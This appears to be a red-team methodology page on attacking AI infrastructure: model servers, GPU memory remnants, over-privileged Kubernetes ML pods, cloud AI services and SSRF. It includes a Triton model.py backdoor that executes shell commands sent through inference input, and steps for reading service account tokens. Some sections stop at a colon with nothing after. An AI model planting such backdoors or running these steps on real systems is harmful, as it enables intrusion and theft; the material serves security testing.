AI Infrastructure Exploitation

Methodology for exploiting GPU clusters, model serving frameworks (Triton, vLLM, Ollama), Kubernetes ML platforms, cloud AI services, and cost amplification attacks.

AI Infrastructure Exploitation

AI infrastructure combines traditional attack surfaces with AI-specific concerns: model serving frameworks with unauthenticated APIs, GPU drivers with kernel-level access, multi-tenant inference platforms with shared memory, and cloud AI services with billing models ripe for cost amplification.

Infrastructure Attack Surfaces

AI infrastructure spans several distinct target categories, each with unique exploitation characteristics.

Model serving frameworks (Triton, vLLM, Ollama) are frequently deployed without authentication, exposing model enumeration, configuration details, and inference endpoints. The highest-severity risk is code execution through custom backends -- Triton's Python backend runs arbitrary code during model load and inference. Unauthenticated management APIs allow loading attacker-controlled models, making any exposed model server a potential foothold into the inference infrastructure.

GPU clusters introduce hardware-level attack surfaces absent from traditional infrastructure. Uninitialized GPU memory can contain data from previous tenants (model weights, training data, API keys). NVLink and NVSwitch fabrics enable peer-to-peer memory access across GPUs if isolation is not enforced. CUDA IPC handles allow cross-process GPU memory access. NVIDIA DCGM management APIs on port 5555 provide cluster-wide GPU control when exposed without authentication.

ML pipelines on Kubernetes commonly over-provision permissions, granting cluster-admin to training job service accounts. Shared storage mounts (/models, /data, /checkpoints) enable lateral movement from a compromised training job to production model replacement or data poisoning. CI/CD systems that automate training and deployment are high-value targets -- compromising the pipeline produces persistent, automated backdoor injection across all future model versions.

GPU Cluster Attacks

Attack Surface Enumeration

From a compromised container, enumerate the GPU infrastructure:

GPU Memory Side Channels

Memory remnants: Allocate uninitialized GPU memory via torch.empty(1024, 1024, device='cuda') and scan for non-zero values. On shared infrastructure, previous tenants' model weights, training data, and API keys may be recoverable.

Timing attacks: Measure allocation latency over many iterations. Bimodal distribution in allocation times indicates co-tenant interference, revealing workload patterns and memory pressure.

NVLink/NVSwitch Risks

Model Serving Vulnerabilities

Reconnaissance Methodology

1. 1

   Identify the serving framework

   Probe common endpoints to determine which framework is running.

   Framework	Health Endpoint	Default Port
   Triton	/v2/health/ready	8000 (HTTP), 8001 (gRPC)
   vLLM	/health	8000
   Ollama	/api/tags	11434

2. 2

   Check for authentication

   Most model serving frameworks deploy without authentication by default. Test unauthenticated access to model listing and inference endpoints.

3. 3

   Enumerate models and configurations

   Extract model names, architectures, input/output specs, and backend types. Look for Python backends (code execution) and ensemble pipelines.

4. 4

   Test for exploitable features

   Check model control APIs (load/unload), metrics endpoints (information disclosure), and custom backend execution.

Framework-Specific Attacks

Triton is the most feature-rich target:

Critical risk: Triton's Python backend executes arbitrary code. If you can place a model in the repository, model.py runs during inference:

# model.py in Triton's model repository
class TritonPythonModel:
    def initialize(self, args):
        os.system('id > /tmp/pwned')  # Runs on model load
    def execute(self, requests):
        # Use inference input as command channel
        cmd = pb_utils.get_input_tensor_by_name(
            requests[0], 'INPUT').as_numpy()[0].decode()
        output = subprocess.getoutput(cmd)

vLLM exposes an OpenAI-compatible API, typically without authentication:

Test for system prompt override by sending a system message that contradicts the deployment's intended prompt.

Ollama binds to localhost by default but is often exposed on 0.0.0.0 with no authentication:

Kubernetes ML Platform Attacks

Privilege Escalation from ML Pods

ML pods commonly have excessive permissions. After compromising a training job, enumerate Kubernetes access:

1. 1

   Read the service account token

   Check /var/run/secrets/kubernetes.io/serviceaccount/token. ML platform service accounts are frequently bound to cluster-admin.

2. 2

   Enumerate accessible resources

   Test access to cluster-wide secrets, pods, nodes, namespaces, and deployments using the service account token against the Kubernetes API.

3. 3

   Access shared storage

   Check common ML mount points for lateral access.

Shared Storage Attack Paths

Cloud AI Service Exploitation

Cloud-Specific Attack Surfaces

From a compromised SageMaker notebook, enumerate all endpoints (deployed models), models (with S3 artifact paths), and training jobs (with IAM roles and hyperparameters) via the boto3 SageMaker client.

Cost Amplification Attacks

Inference Service SSRF

Model serving endpoints that accept URLs as input (image classification, web scraping, document processing) are SSRF vectors.

Priority SSRF Targets

Related Topics

• AI Supply Chain Exploitation -- Supply chain attacks that compromise infrastructure from within
• AI Application Security -- Application-layer vulnerabilities on infrastructure endpoints
• MCP Tool Exploitation -- MCP servers running on exploitable infrastructure
• Advanced Reconnaissance -- Fingerprinting model serving frameworks as recon targets

References

• OWASP Machine Learning Security Top 10 — ML infrastructure risks
• NVIDIA Triton Inference Server — Model serving infrastructure
• Kubernetes Security Best Practices (CISA, 2022) — K8s security for ML clusters